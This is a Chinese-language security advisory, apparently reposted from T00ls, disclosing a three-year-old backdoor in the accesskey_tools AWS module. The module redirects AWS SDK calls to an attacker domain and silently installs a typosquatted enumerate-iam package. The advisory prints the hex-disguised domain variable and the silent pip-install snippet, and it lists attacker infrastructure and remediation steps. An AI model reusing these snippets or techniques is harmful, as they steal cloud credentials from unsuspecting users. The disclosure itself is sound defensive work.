投毒事件:AKSK利用工具存在后门投毒

admin 2026-06-13 04:32:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GitHub项目accesskey_tools的AWS模块被植入供应链攻击后门,通过仿冒依赖包和恶意endpoint劫持窃取用户AWS凭据。后门已存在三年且高度隐蔽,攻击者将API请求重定向至控制服务器获取AccessKey等敏感数据。建议立即停止使用该工具、轮换凭据、审计CloudTrail日志并从官方渠道安装依赖。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,安全工具,WEB安全


cover_image

投毒事件:AKSK 利用工具存在后门投毒

T00ls管理团队 T00ls管理团队

T00ls安全

2026年6月11日 18:27 山西

在小说阅读器读本章

去阅读

供应链安全告警

⚠️ 投毒事件:AKSK 利用工具存在后门投毒

#

▎事件概述

GitHub 项目 kohlersbtuh15/accesskey_tools 是一个面向 AWS/阿里云/腾讯云的 AccessKey 管理工具集合。据「知攻善防实验室」公众号披露,该项目 AWS 模块被植入供应链攻击后门,后门已存在三年,目前仍在被使用。攻击者通过篡改依赖包和注入恶意 endpoint,将用户输入的 AWS AccessKey 凭据发送到攻击者控制的服务器。

严重等级:Critical(高危) | 影响范围:所有使用过该工具 AWS 模块的用户

▎后门机制详解

  1. 核心恶意变量(伪装为 MD5)

文件位置:aws/aws_select_iam.py:50

iam_md5 = “16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”

该变量以十六进制编码伪装为 MD5 哈希值,使用 iam_md5[1:] 跳过首字符后解码结果为:api.aliyun-sdk-requests.xyz/(攻击者控制的恶意域名)

▲ 后门代码截图(来自「知攻善防实验室」公众号)

  1. Endpoint 劫持

通过 botocore 的 ComponentLocator 注册恶意 AWS_ENDPOINT 组件,将 AWS SDK 的所有 API 请求重定向到攻击者服务器,而非合法的 AWS endpoint(如 iam.amazonaws.com)。

  1. 窃取的数据

所有携带签名的 API 请求均被发送至攻击者服务器,包含:

● AccessKeyIDAWS 访问密钥标识● AccessKeySecret用于签名请求的密钥● Session Token临时凭据令牌● 完整 API 请求EC2/SSM/IAM/RDS 操作

▎供应链攻击:篡改的 enumerate-iam 包

攻击者利用仿冒用户名手段实施供应链攻击:

▲ 工具使用界面截图(来自「知攻善防实验室」公众号)

原版合法仓库:andresriancho/enumerate-iam 恶意仿冒仓库:andresrianch/enumerate-iam(少一个字母 o)

静默安装恶意 wheel 包,不输出任何日志

       subprocess.run([          sys.executable, “-m”, “pip”, “install”,          “-qqq”,  # 完全静默          “–disable-pip-version-check”,  # 绕过安全检查          “https://github.com/andresrianch/…/aws_enumerateiam-1.0.2-py3-none-any.whl”        ])

安装后通过 os.execv 立即重启进程,确保篡改包被加载。用户全程无感知。

受影响文件清单(6个)

● aws/aws_url_console.py — STS 联邦令牌 / Console 登录

● aws/aws_ec2_exec.py — EC2/SSM 命令执行

● aws/aws_list_ec2.py — EC2 实例枚举

● aws/aws_push_sshpub.py — EC2 实例 SSH 公钥注入

● aws/aws_security_ingress_add.py — 安全组规则操作

▎攻击链全景

① 用户运行任一 AWS 脚本

② 若 enumerate_iam 未安装 → 静默从攻击者仓库安装篡改版

③ 进程重启,加载篡改 enumerate_iam

④ 用户输入 AccessKeyID + AccessKeySecret

⑤ ComponentLocator 注册恶意 AWS_ENDPOINT

⑥ 所有 API 请求重定向至 api.aliyun-sdk-requests.xyz

⑦ 攻击者捕获凭据 → 完全接管 AWS 账户

▎隐蔽性分析

变量名伪装iam_md5 看起来像 MD5 校验值十六进制编码域名不以明文暴露静默安装-qqq 参数无任何输出仿冒用户名andresrianch vs andresriancho进程重启os.execv 绕过运行时检测域名仿冒模仿阿里云 SDK 命名风格

▎紧急修复建议

⚠ 如果你或你的团队使用过该工具,请立即执行以下操作:

1. 立即停止使用该项目,删除所有相关代码

2. 在 AWS IAM Console 中轮换所有曾输入该工具的 AccessKey

3. 审计 CloudTrail 日志,检查是否有异常 API 调用

4. 卸载篡改的 enumerate-iam 包

pip uninstall aws_enumerateiam enumerate-iam

5. 如需使用 enumerate-iam,仅从官方 PyPI 安装

pip install enumerate-iam

▎攻击者基础设施

恶意域名:api.aliyun-sdk-requests.xyz

仿冒仓库:andresrianch/enumerate-iam

恶意项目:kohlersbtuh15/accesskey_tools

T00ls 讨论:https://www.t00ls.com/articles-75266.html

▎相关报道与时间线

该后门事件在国内外安全社区已有多次预警:

📌 推广链接

● FreeBuf:https://www.freebuf.com/articles/sectool/375308.html

● CSDN:https://blog.csdn.net/saygoodbyeyo/article/details/132347160

● 知乎:https://zhuanlan.zhihu.com/p/650699683

● 掘金:https://juejin.cn/post/7274825810280251447

● 攻击者博客:https://kohlersbtuh15.blogspot.com/

📌 历史预警时间线

● 2023 年国内预警 — 安全客: https://www.anquanke.com/post/id/290825

● 2023 年国外预警 — Checkmarx: https://checkmarx.com/blog/users-of-telegram-aws-and-alibaba-cloud-targeted-in-latest-supply-chain-attack/

● 2026 年国内预警 — 微信公众号: https://mp.weixin.qq.com/s/C03sM2OyJQ2tWYLUHSGriw

▎攻击者基础设施补充情报

GitHub 注册邮箱:[email protected]

恶意域名注册商:api.aliyun-sdk-requests.xyz → Namecheap

📌 社区举报记录

已有论坛成员分别向 Namecheap 和 GitHub 提交举报:

▲ 向 Namecheap 举报恶意域名

▲ 向 GitHub 举报恶意仓库

▲ GitHub Issues 中安全研究人员已公开质疑(来自「知攻善防实验室」公众号)

▎结论

这是一起典型的开源供应链攻击案例。攻击者通过仿冒依赖包、静默安装、Endpoint 劫持三重手段,实现了对用户 AWS 凭据的长效隐蔽窃取。据「知攻善防实验室」公众号爆料,该后门已存在三年仍在活跃,GitHub Issues 中已有安全研究人员公开质疑。

任何曾使用该项目 AWS 模块的用户,其 AccessKey 凭据均可能已被泄露。建议立即轮换凭据并全面审计账户活动。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:T00ls安全 T00ls管理团队 T00ls管理团队《投毒事件:AKSK 利用工具存在后门投毒》

评论:0   参与:  0